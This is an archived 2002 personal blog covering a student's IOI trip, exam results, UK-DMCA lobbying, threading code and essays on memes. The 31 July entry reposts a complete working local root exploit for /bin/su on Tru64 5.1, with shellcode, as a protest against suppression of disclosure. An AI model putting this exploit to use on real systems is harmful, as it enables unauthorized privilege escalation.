Tue Aug 27 18:15:57 BST 2002

Crap. I so forgot to upload the MP letter yesterday. Fixed.

This is quite an interresting example of bullshit in it's purest form. It's pretty rare to find anything this pure. I would pull some quotes from it, but that would dilute this, a masterpeice of its art-form [via Wes]

Today's required reading is the beginning few chapters of the MetaMath book [via Raph]

Mon Aug 26 12:48:08 BST 2002

Right, I'm back from the IOI [warning: utter crap website]. I did pretty crap (about half way down I think). Partly because of a very depressing number of tiny, but critical, typos but mostly because I don't think I'm cut out for this timed algorithmic stuff. Give me a couple of days to think about something and I might come up with a decent algorithm. In 30 minutes it doesn't happen. I guess I could have done a lot better if I had just chosen poor, but simple algorithms - but that's not really in the spirit of the competition.

I'll have photos scanned at some point, both from my camera and Richard's (the UK team leader) very impressive digital camera. That will be in a week or so.

If I learnt one thing from my time in Korea it's this: Don't eat the Kimchi. Don't even ask about it.

The IOI was held at Khung Hee University in Yong-In, Korea. It's a very nice campus, even if some of the buildings are bad European architecture copies. You can dig up the schedule of events and stuff from the website linked to above.

It was superbly organised (with a budget of $2.2 million) to the point that our convoy of 24+ coaches (which took us everywhere) had a full police escort which closed off the roads ahead of us to let us pass.

The guards armed with guns that looked like they could stop a tank where a little worrying. As was the day when we came back to find about 100 riot police sitting on their shields and waving at us. The small number of protesters, who had been protesting about KHU's treatment of the hospital workers, had gone.

I've scanned the protester's flyer: side one, side two (help make your daily karma quota by reading it).

The translations of some of the Korean into English (the official IOI language) provided some good laughs. It seems that Korean doesn't have a concept the the definite article, which is why they often miss out `the' and 'a'. (do an impression and you'll see that you do the same.)

The next IOI (which I'll be too old for) is being held in the US. Unfortunately their major (only?) sponsor, USENIX, has dropped out. If your helpful company, with their huge amounts of cash-flow in these great economic times , would be interested in funding the US IOI I'm sure they would love to hear from you.

Results

The day before I went to Korea was A-level results day. Got the results at 10:30, out with friends until 1am the next morning and was up to go to the airport at 5am. One manic day .

TypeSubjectGrade
A-LevelBiologyA
A-LevelMathsA
A-LevelFurther MathsA
A-LevelPhysicsA
AEABiologyDistinction
AEAPhysicsMerit

A-Levels are the standard exam taken at 18. AEAs are super-A-levels which you don't study for (at least I didn't).

Those results easily get me into Imperial College.

EUCD (UK-DMCA)

I've yet to check what organisations (like EuroRights and Stand) have been doing on this front but I had a neat letter from my MP in the post when I got home. You can see the scan here:

I can assure you that I am sceptical of anything coming from the EU and, in your letter, you give good reasons why we should consider annulling this one - if we can!

I will, therefore, take the matter up once Parliament resumes and will write you you again then. In the meantime, [thank] you for alerting me to this important issue

The Conservatives are the second party in the UK (and Labour, the 1st party has a huge majority) so I'm not optimistic about getting this thing annulled. But at least we may be able to kick up a storm and raise the public perception.

Crypto-GRAM

It's nice to know that even people like Bruce Schneier have total brain farts sometimes too.

The idea is that different users on the system have limitations on their abilities, and are walled off from each other. This is impossible to achieve using only software

Question of the day

Will a random walk in discreet n dimensional space tend to cover the whole space, or only a fraction of it? If so, what fraction?

(P.S. I don't actually know the answer)

Sun Aug 25 22:36:20 BST 2002

Back home. Need sleep.

Wed Aug 14 18:56:05 BST 2002

New addition to the Letters page; a letter about the UKDMCA to my MP.

Hmm, even 512 kilobaud Ogg Vorbis cannot encode some music quite right - I can still hear the artifacts and don't even think about mentioning MP3. So I've taken to using lossless compression - flac is good, open source and has a XMMS plugin. I'm getting about 25% compression.

Tue Aug 13 16:11:52 BST 2002

Coderman is working on a new project - PeerFrogs. Looks like it forms the basis for his CodeCon 2 submission.

UK-DMCA

From Danny O'Brien (the NTK guy):

I'm pretty sure it's a statutory instrument with negative resolution -
which is to say, it becomes law the moment it's announced, butParliament has forty days to pass a motion annulling it. AFAIK, that's
how most EU Directives are implemented.

Oh crap

That means MP's have to get off their backsides and actually do something active. We screwed.

Userland page fault handling

One of the weaknesses of user land threading is that you have to alloc a fixed area as thread stack space. This imposes an extra, non-trivial, cost on thread creation as the stack size for all threads is determined by the biggest (unless you pass a hint at creation time which is dangerous).

The solution to this is to do the same as the kernel does; handle page faults as the threads fall off the bottom of the stack space and map in pages to catch them. That way you have to set a fixed max size for stacks - but you don't have to map in all those pages. You use up address space, not memory

Of course, address space isn't exactly huge in a 32-bit machine. On most Linux boxes I think dlls are mapped in at 0x80000000 (it's 0x00100000 here, but that's because I run funny kernel patches). That leaves half the address space free for mapping since the main stack grows down from the 3GiB mark.

So, assuming that we have 2GiB of address space for stacks we can reserve 128KiB for stacks and fit in 16384 threads. When you consider that most threads will take about at least 8KiB of actual stack, and that 8KiB*16384 = 134MB of stack, that limit doesn't seem to bad. (It's still not great thou, and there is some deep&dangerous hackery that can get around it, email me if you want details).

The actual page fault handling turns out not to be too hard. First mmap a couple of pages from /dev/zero for the signal stack (since we are trapping when we run out of stack we need the SIGSEGV handler to run on a different stack), fill out a stack_t struct and setup the SIGSEGV to use it. In the handler, process the siginfo_t and find the stack which faulted and use mmap to add another stack:

void sig_segv (int sig, siginfo_t *siginfo, void *d)
{
	// Walk the threads and find the one that faulted from the fault
	// address in siginfo->si_addr

	// Use mmap with MAP_FIXED to map in another page at the right place
}

void
setup_fault_handler ()
{
	stack_t sigst;
	struct sigaction sigact;
	char *sigstack;
	int devzerofd;

	devzerofd = open ("/dev/zero", O_RDWR);

	sigstack = mmap (NULL, 8192, PROT_READ | PROT_WRITE, MAP_PRIVATE, devzerofd, 0);

	sigst.ss_sp = sigstack;
	sigst.ss_flags = 0;
	sigst.ss_size = 8192;

	sigact.sa_sigaction = sig_segv;
	// set the sigact mask
	sigact.sa_flags = SA_ONSTACK | SA_SIGINFO;

	sigaltstack (&sigst, NULL);
	sigaction (SIGSEGV, &sigact, NULL);
}
Sun Aug 11 22:37:41 BST 2002

This is pretty cool (needs javascript). Go there and play before reading the rest of this.

There are very few numbers which can be produced from the system of subtracting the digits of a number. 10-19 give an answer of 9, 20-29 give an answer of 18 and so on for multiples of 9. This reduces the possibility set drastically.

The next thing to realise is that the possibilities are spaced out evenly and all the possibilities have the same symbol. Quite neat.

Sun Aug 11 16:55:18 BST 2002
BitTorrent

First release of bttrackd (my BitTorrent tracker) is here

UK-DMCA

On the UK-DMCA, quoting myself from a debian-uk post:

The consultation lasts until the end of October and I think they are
looking to pass the bill by the end of year. It's only August and we
have to be careful not to move too fast. We are fighting against the
treacle of people's attention spans and it takes a massive amount of
energy to keep anything moving against that for  months. More energy
than we have. We should wait until a few (3-4, I guess) weeks before
the vote and blitz the press (as was done for the RIP extension, but
then we didn't have much choice about the timing).

Though that doesn't mean that we can't start preparing for it before
then.

MetaFun

After giving up ages ago on getting any of the funky ConTeXt stuff working, I took the plunge and installed TeTeX, ConTeXt and Metafun manually. Seems to be working - I managed to compile this at least (just a few rip offs of examples from the metafun manual). I need to run mpost manually though.

Fri Aug 9 17:39:25 BST 2002

The UK implimentation of the EU copyright directive (read: UK-DMCA) has been published. The fight continues. Here's NTK's summary:

when this becomes law, the "contract" you have with a copyright holder will almost completely trump your right as a purchaser of copyrighted material. And your contract is hereby defined by the copy protection technologies the distributors stick on your media. So if that CD doesn't play on your PC - well, that's what you "agreed" to, and there's nothing you can do. If you try and circumvent any the copy protection (or, in the case of computer programs, explain how to do so to anyone else), you can be punished as much as if you were pirating the data yourself (Article 6). Heck, if you even try to remove any of the tracking spyware, you'll be in equal amounts of trouble (Article 7).

Is anyone organising the defence? Time for another letter to my MP I guess

All the security problems in 2.4.18 are listed in the 2.4.19-sec notes. however, if you're in the US the DMCA means it cannot be published there [FAQ]. For non-US citizens you can get it here. Of course, all this moral high ground is about to collaspe under the weight of the UK-DMCA.

UK Political Corruption

The Labour Party (who currently hold power in the UK for a second term, after the biggest second term election victory ever) have dire fiscal problems. They are estimated to be £6-8 million in debt and have had to ask for a donation of £100,000 from the unions to cover short term costs.

The unions obliged and are making no secret of the fact that they expect something in return in terms of policy decisions.

Am I the only one whos jaw dropped at the way this corruption (and that's what it is) is accepted? If a business did the same there would be political hell to pay. It's time for public funding of political parties.

(and maybe then the MP3 party can have a good stab :))

setuidgid and chroot

setuidgid is utility program included with daemontools. It occurs that it's impossible to use this with chroot:

chroot(2) requires root on most systems, therefore it must be run before setuidgid. This means that setuidgid is run with root permissions (as it always must be) and must be in the chroot jail in order for chroot(1) to run it. Thus if the final process in the chain (usually the one that setuidgid execs) is exploited it can change the setuidgid binary in the jail, and so runcode as root the next time that daemon is started.

Thu Aug 8 20:29:22 BST 2002

I'm working on a BitTorrent tracker in C, as bram asked for one in the todo. It's half-done I guess and since the point of it is speed it has some pretty funky data structures which are going to take a while to debug. In fact the function to verify them is looking pretty hairy.

Unless you have your head deep in the sand you'll know that Edsger Dijkstra has died of cancer. Joey has the best writeup so far.

Cryptome has long served as the website for infomation that some people wouldn't like published. It now has a companion site, The Memory Hole. Salute these people - they do the good work.

Wed Aug 7 15:24:15 BST 2002
Sun Jul 28 14:00:13 BST 2002

This is the entry I forgot to upload last weekend

Since I'm at home for the weekend you get a links post with some of the stuff over the past couple of weeks. I left my laptop in Guildford so I don't have all the bookmarks I wanted, but here are some:

Sun Aug 4 20:48:05 BST 2002

I head off home tomorrow. I would have gone today but the British rail system being what it is (which is generally ok, but crap on Sundays) the only train was at 23:30 and gets in at 9 tomorrow morning.

Keith commented on my ramble about memes on Wednesday. I'll expand a little on that today.

Memes Redux

I think a lot of my ramble can be represented as the question "Is elegance a fundamental environmental factor for memes?". The fitness function for a genetic algorithm has 2 parameters - the replicator and the environment. The environment can be split into fundamental factors and other replicators.

As an example, in gene evolution rain is a fundamental factor of the environment (at least it is here). If the gene causes its host to explode whenever it rains that seriously hurts its fitness. (not to mention creating a real mess.) In the same example, predators are other replicators effecting the environment of a gene. If the gene causes the host to light up in the ultraviolet and its predators see ultraviolet then that, too, will hurt its fitness.

So is elegance a fundamental factor or a meme? I can think of evidence for and against - but in the end I guess the argument is a little pointless. If anyone disagrees (with either assertion) - feel free to reply

Wed Jul 31 23:17:29 BST 2002

I'm going to quote out of an email reply I just wrote tonight. It's a little rambling, but never mind. I think it's kind of interesting and hopefully will help me get a grip of my thoughts faster next time I'm thinking around these areas.

Tune of the moment: Scooter - Ramp (The Logical Song) (Radio Mix)

Memes

I don't think memes/genes are conscious, but I do think that, as replicators, they can exert a powerful influence to aid their replications. You can often pick out features in memeplexes (a set of interacting memes which can be functionally treated as a whole) designed as an `immune system' etc. For example the Christian ideas of "I am the one true god, worship no other" and of faith seem (to me) to fit into that category.

You can certainly pick out other categories of memes in memeplexes too:

Memes/genes also provide an ethical axiom which allows the construction of morals which I consider to be reasonable. Of course I'm working backwards here (from the high level towards to axioms) and I'm sure that working the other way could lead to morals that I couldn't accept.

However, it does lead to some positions which many would find objectionable. For one I much more supportive of animal testing than most. I'm also quite supportive of the idea of genetically modifying a human germline with the proviso that we get better at it first.

I don't think I can articulate the structure I want to at the moment. Maybe I'll come back to it later. (if you're reading this I guess I didn't).

Later: Ok, I still don't think I can articulate it so I'm leaving that last paragraph in, but here goes:

Since I'm making value judgements about moral systems I must have some built in morality (memes) which almost certainly come from my upbringing. My upbringing is mostly Christian, but not strongly so. My parents don't go to church etc so I have a pretty common Western set (don't kill people, be nice etc).

However, I feel the need to justify those memes and I flat out reject the theistic aspects of Christianity. I also reject some of those upbringing moral memes. So either I have `scientific model' memes too or something is built in.

Now, morals change all over the world and can generally be overridden/ignored in a Lord of the Flies type of way. But there is a certain sense of grace that I'm wondering might be built in. The grace I'm talking about is the beauty of great mathematical proofs or the elegance of superb design.

I cannot see that this is generally communicated as a meme and it seems to have existed (in some individuals) in many different cultures and at many different times.

So maybe my need to justify my moral set comes from an inbuilt human attribute rather than a meme. And an justification needs axioms, which is where memetic theory came in.

Wed Jul 31 09:31:43 BST 2002

HP uses the DMCA to try and hide security problems in Tru64: /. and News.com. Here is it for all you people anyway:

/*
 /bin/su tru64 5.1
 works with non-exec stack enabled
 
 stripey is the man

 developed at http://www.snosoft.com in the cerebrum labs

 phased
 phased at mail.ru
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char shellcode[]=
	"\x30\x15\xd9\x43"      /* subq $30,200,$16             */
	"\x11\x74\xf0\x47"      /* bis $31,0x83,$17             */
	"\x12\x14\x02\x42"      /* addq $16,16,$18              */
	"\xfc\xff\x32\xb2"      /* stl $17,-4($18)              */
	"\x12\x94\x09\x42"      /* addq $16,76,$18              */
	"\xfc\xff\x32\xb2"      /* stl $17,-4($18)              */
	"\xff\x47\x3f\x26"      /* ldah $17,0x47ff($31)         */
	"\x1f\x04\x31\x22"      /* lda $17,0x041f($17)          */
	"\xfc\xff\x30\xb2"      /* stl $17,-4($16)              */
	"\xf7\xff\x1f\xd2"      /* bsr $16,-32                  */
	"\x10\x04\xff\x47"      /* clr $16                      */
	"\x11\x14\xe3\x43"      /* addq $31,24,$17              */
	"\x20\x35\x20\x42"      /* subq $17,1,$0                */
	"\xff\xff\xff\xff"      /* callsys ( disguised )        */
	"\x30\x15\xd9\x43"      /* subq $30,200,$16             */
	"\x31\x15\xd8\x43"      /* subq $30,192,$17             */
	"\x12\x04\xff\x47"      /* clr $18                      */
	"\x40\xff\x1e\xb6"      /* stq $16,-192($30)            */
	"\x48\xff\xfe\xb7"      /* stq $31,-184($30)            */
	"\x98\xff\x7f\x26"      /* ldah $19,0xff98($31)         */
	"\xd0\x8c\x73\x22"      /* lda $19,0x8cd0($19)          */
	"\x13\x05\xf3\x47"      /* ornot $31,$19,$19            */
	"\x3c\xff\x7e\xb2"      /* stl $19,-196($30)            */
	"\x69\x6e\x7f\x26"      /* ldah $19,0x6e69($31)         */
	"\x2f\x62\x73\x22"      /* lda $19,0x622f($19)          */
	"\x38\xff\x7e\xb2"      /* stl $19,-200($30)            */
	"\x13\x94\xe7\x43"      /* addq $31,60,$19              */
	"\x20\x35\x60\x42"      /* subq $19,1,$0                */
	"\xff\xff\xff\xff";     /* callsys ( disguised )        */

/* shellcode by Taeho Oh */

main(int argc, char *argv[]) {
int i, j;
char buffer[8239];
char payload[15200];
char nop[] = "\x1f\x04\xff\x47";

bzero(&buffer, 8239);
bzero(&payload, 15200);

for (i=0;i&lt;8233;i++)
        buffer[i] = 0x41;

/* 0x140010401 */

        buffer[i++] = 0x01;
        buffer[i++] = 0x04;
        buffer[i++] = 0x01;
        buffer[i++] = 0x40;
        buffer[i++] = 0x01;

for (i=0;i&lt;15000;) {
	for(j=0;j&lt;4;j++)  {
        	payload[i++] = nop[j];
	}
}

for (i=i,j=0;j&lt;sizeof(shellcode);i++,j++)
	payload[i] = shellcode[j];

	printf("/bin/su by phased\n");
	printf("payload %db\n", strlen(payload));
	printf("buffer %db\n", strlen(buffer));

	execl("/usr/bin/su", "su", buffer, payload, 0);

}
Tue Jul 30 21:33:55 BST 2002

Zooko has gone away again and shutdown his mail server. However, I'm ready for him this time! . I'm getting quite good with qmail because of all all this.

Buffer overflows in OpenSSL makes a mess of a number of programs. However, these came to light because of a number of code reviews so this is an example of open source working, security wise. It would be nice to know that the privsep code in OpenSSH stops these overflows from really doing damage - but I haven't heard anything to that effect. Boxes upgraded anyway.

Also, big bugs in PHP 4.2.[01]. Fixed in 4.2.2. All upgrade.

Programming with Schelog. Pretty cool - for best results mix with the SemWeb (see below)

Semantic Web

Today/tonights reading was semantic web stuff. The W3C and TimBL (not to be confused with the other TBL who I have mentioned here before) have been talking about this Semantic Web stuff for ages. This SciAm article (May, 2001) is a good introduction and TimBL talks lots about it towards the end of Weaving the Web. However, all them seem to have is a lot of talk. All the talk lays out a system of logic graphs with a simple type system. The type system is too simple but they hint about DAML+OIL and WebOnt WG as better ones, so why don't they switch?

I can't help feeling that the actual content of the Semantic Web group could have been knocked out over a couple of weekends. What they should be doing is building a good Schema defining relations for many different groups and kniting them together because that's political work and the the clout of the W3C would help lots. Then then can actually start pushing it and say "Here's the schema for a [bookshop|weblog|generic company], markup your stuff and look what our cool tools can do!"

It wouldn't be perfect, but face it, it's not going to be perfect anyway and it doesn't have to be. Worse is sometimes better; UNIX killed the Lisp machine.

(and on a more technical note: they don't seem to have the concept of different relations holding at different times. And, talking of that, they don't even seem to have defined how to spec a time - that's how primitive it still is)

It also occurs to me that one of the bumps on the road for the Semantic Web is that companies don't actually really want to help the customer. Remember how the hype said that web agents would be searching all the vendors web sites and finding the cheapest for a given item? (and this was going to be done by about 1995 or something) Well the SemWeb is a step on the way to that situation and that isn't good news for companies as it forces them into price wars on many goods. Thus I expect that they are going to resist exposing information like that and form confusopolies (that's a Dilbert word, and a really good one).

Mon Jul 29 21:57:30 BST 2002

Well, I did come up with a load of links over the weekend and wrote up an IV entry - then promptly forgot to upload it. Rats. That'll sit at home for another couple of weeks now

However, here are some that I dug out today:

You're going to have to Google for the rest of the links today

God it's hot. Not going to be sleeping well tonight

Scheme

Been looking at Bigloo - a compiler for (mostly) R5RS Scheme which outputs C and Java bytecodes as its backends. One very nice feature is that it's designed to work with Java/C native code really well. However much we might wish it wasn't, the reality is that FFI interfaces in higher level languages (now there's a vague term (and a redundant acronym for that matter)) are really important.

It even manages to compile non-deterministic code using call/cc (see the snippet below, mostly from On Lisp)

In addition it has a nice (ILISP like) Emacs interface and what looks like a very nice native IDE, called BDK. I say looks like because I cannot get it to compile, but the screen shots are impressive

LtU has a link to conference notes about Bigloo's TK based GUI toolkit, called BigLook

(module nondet)

(define *paths* '())
(define failsym '@)

(define (choose choices)
  (if (null? choices)
      (fail)
    (call-with-current-continuation
     (lambda (cc)
	(set! *paths* (cons (lambda ()(cc (choose (cdr choices)))) *paths*))
(car choices)))))

(define fail 0)

(call/cc
 (lambda (cc)
   (set! fail (lambda ()
		 (if (null? *paths*)
		     (cc failsym)
		     (let ((p1 (car *paths*)))
			(set! *paths* (cdr *paths*))
			(p1)))))))

(define small-ints '(1 2 3 4 5 6 7 8 9 10))

(define sum (lambda (x)
	       (let ((a (choose small-ints))
		     (b (choose small-ints)))
		  (if (= (+ a b) x) (cons a b) (fail)))))

(display (sum 19))(newline)
Thu Jul 25 21:14:09 BST 2002

Well, (setting the scene), I'm sitting in a small hotel room in Guildford on a very comfortable red seat with my laptop on my lap.

The aforementioned red chair looks a little out of place in the room because, although you could swing a cat in it, it would hit it's head on all the walls. Thus in a room where space is at a premium it seems a little wasteful to put this seat in it.

But it is a comfy seat. Even compared to the seats at work it's pretty good and that's saying something because the seats at work are special geek seats which cost about £500 and have more nobs and levers than some aircraft flight decks on the underside. (The underside of the chair, not the flight decks).

I'm also listening to music (I should have mentioned that before). It's music that I found lying about the network at work. I love listening through other people's music sometimes because you can pick out some real gems. Think about the number of different CDs in an average record shop and how few of those you've ever heard. Collaborative filtering is the only way to find any good non-mainstream stuff since radio stations are hopeless. (and the RIAA shutdown all the Internet radio stations).

At the moment the track is The Strokes - Last Nite (sic). Now The Strokes aren't really very non-mainstream but I don't listen to enough of them anyway.

However, the last track was cool and by a artist/group called Royksopp, who I've never heard of and that's the fun of it. (There should be two dots above the o in that name, but I'm not feeling brave enough to put a non-Latin1 code point in tonight).

The night life (for me) is pretty dire here, though. I'm the only person of my age group living in Guildford and working at Lionhead so I can't really go out. (I not really the sort to go out alone and try to hook up with someone). Which is a shame because Guildford is a University town and looks like having a great night life.

It's not too bad though. I don't get in from work until about 6:45 and by the time I've gone out to fetch dinner and watched some TV it's about 8:00, and I've enough to read.

And I'm coming home for the weekend. Catching the train at 5:45 and getting in to Cheltenham at 8:30 where father is driving me to a party Have another party on Sunday and I catch the train again at 6:45 Monday morning for work. No rest for the wicked!

Then I've another two weeks before heading home. Where I have to pick out book prizes, go see people at the Playhouse, get exam results and then fly off to Korea.

(The school prizes are always in the form of money off books at the book shop in Gloucester. You have to go in and order the books (paying any extra) and then you have to wait 6 weeks to actually get the book at the prize evening. So the trick is to find books that you want - but don't want enough to be bothered about not actually having them for 6 weeks. And they've got to be non-fiction books really.)

And this year I've got to pick out three (Maths, Biology and Service to the School). Though the books don't have to be related to the subject.

Lack of Links

Since I don't have an internet connection at the hotel I tend to read stuff at work and save any longer stuff on my laptop for later reading. Thus leads to a lack of good links I'm afraid. Do a google search for Markus Kahn though. His homepage at cam.ac.uk is well worth reading.

I did get that 802.11b connection going, but the access point isn't configured to forward packets unfortunately. The SNMP private community has been changed and it's probably a little rude to reconfigure someone else's AP anyway.

List Archives

Assertion: mailing lists which are archived should put the URL for a given message in its header

If the above where true I could point you at a neat little post on ll1. But it isn't and I cannot look up the URL so you'll have to do without

Notes to self

TBL says that a quantum computer can be implimented on a UTM and the quantum bit is just a speed thing. However, there are quantum effects which are non-deterministic and so cannot be done on a UTM.

TBL also says I should read up on Goldstein randomness. (not sure about the spelling there).

Sun Jul 21 13:27:39 BST 2002

Eek. Been a long time since I've updated this site - been pretty busy. Also, I've forgotton my power converter for my laptop so this entry cannot be too long as I'm draining the last of my laptop batteries

I've switched hotels and the room is a lot smaller this time. But it's closer to work and there's actaully an 802.11b network here. I don't have the right programs installed (will be apt-getting tomorrow at work) but someone is broadcasting 81 byte packets which seem to be ethernet wrapped in some header that ethereal doesn't understand. They all have the string EDWIN in them as well, for some reason

Since I don't have connectivity outside work I haven't really been keeping up with stuff so you'll all have to dig up your own interresting links

(P.S. I still don't have ispell installed - I keep forgetting)

Tue Jul 16 21:46:54 BST 2002

Well, I dug out the entry from the html of IV and patched it in. I should be able to upload all this tomorrow at work. I need to install the ispell dictionary though. Unfortunately, I didn't copy my user dictionary off my desktop before I went away - rats.

Of course, I can't talk about what I'm doing at work - but it's very interresting. I need to do more thinking tonight before prototyping it tomorrow.

Sun Jul 14 14:02:41 BST 2002

I'm packing at the moment ready for a move to Lionhead for the summer. (Warning: rubbish, Flash web site)

Old news now, but Cannabis has been down graded to a class C drug. Basically it's now less illegal to possess it, but more so to sell it. I actually think this is a bad thing. Predictably, many are saying the sky will fall because of all the people smoking pot (as they, themselves, smoke their cigars and sip their G&Ts). But this will lead to more money going into the pockets of criminals whose best interests are to try and get people addicted to dangerous drugs (crack, heroine etc). This is going to lead to a backlash and put sensible drugs policy back years.

Zooko is back!

A couple of online books I intend to read: Bitter Java and ORA: OCaml [via LtU]

Shorter, interesting reads: OpenBSD Honeypot [via /.] and How Modern Chemicals May Be Changing Human Biology

Site Map
/Root
     AlternateThe Weird and Wonderful
          BacklinksWhat are backlinks
          John GilmoreWhat's Wrong with Copy Protection
     ArchivesBlog Archives
          OneArchive 1
          TwoArchive 2
          ThreeArchive 3
          FourArchive 4
          FiveArchive 5
          SixArchive 6
          SevenArchive 7
          EightArchive 8
          NineArchive 9
          TenArchive 10
          ElevenArchive 11
          TwelveArchive 12
          ThirteenArchive 13
          FourteenArchive 14
          FifteenArchive 15
          SixteenArchive 16
          SeventeenArchive 17
          EighteenArchive 18
          NineteenArchive 19
          Twenty Archive 20
          Twenty OneArchive 21
          Twenty TwoArchive 22
          Twenty ThreeArchive 23
          Twenty FourArchive 24
          Twenty FiveArchive 25
          Twenty SixArchive 26
          Twenty SevenArchive 27
          Twenty EightArchive 28
          Twenty NineArchive 29
          Thirty Archive 30
     PhotosPoor People Caught on Film
          Jack and the Beanstalk Jack and the Beanstalk
          RIP ScanResults of a Stage Scan Fire
          YosemiteYosemite National Park
     ProjectsIncomplete things from the lab
          Seagull's BaneLinux Automounter
          bttrackdBitTorrent Tracker
          CAPTCHACAPTCHA CGI script
          ConservConsole Serving
          DeerparkUsing Tor with Firefox/1.1 (Deerpark)
          DNSFixFixing DNS
          XoversXTA Crossover Control
          IAFSArchive Org Storage
          JBIG2JBIG2 Encoder
          VerifyPGP Key Verifier
          MaxFlowMaximal Flow in Python
          PyBloomBloom Filters in Python
          pyGnuTLSPython wrapping of GnuTLS
          SxmapApache SuEXEC Map
          HellardUnion Server Notes
     RecordingsFree recordings
          ICSM ChoirSt Paul's Church
     SchoolAncient School Stuff
     WritingsWho knows
          Cap SystemsCapability Systems
          IntroIntroduction to me
          SupremaJMC2 Group Project
          MP LettersLetters I've written to my MP
          SoundSound With Dramsoc
          SyncThreadingThe wonders of user-land threads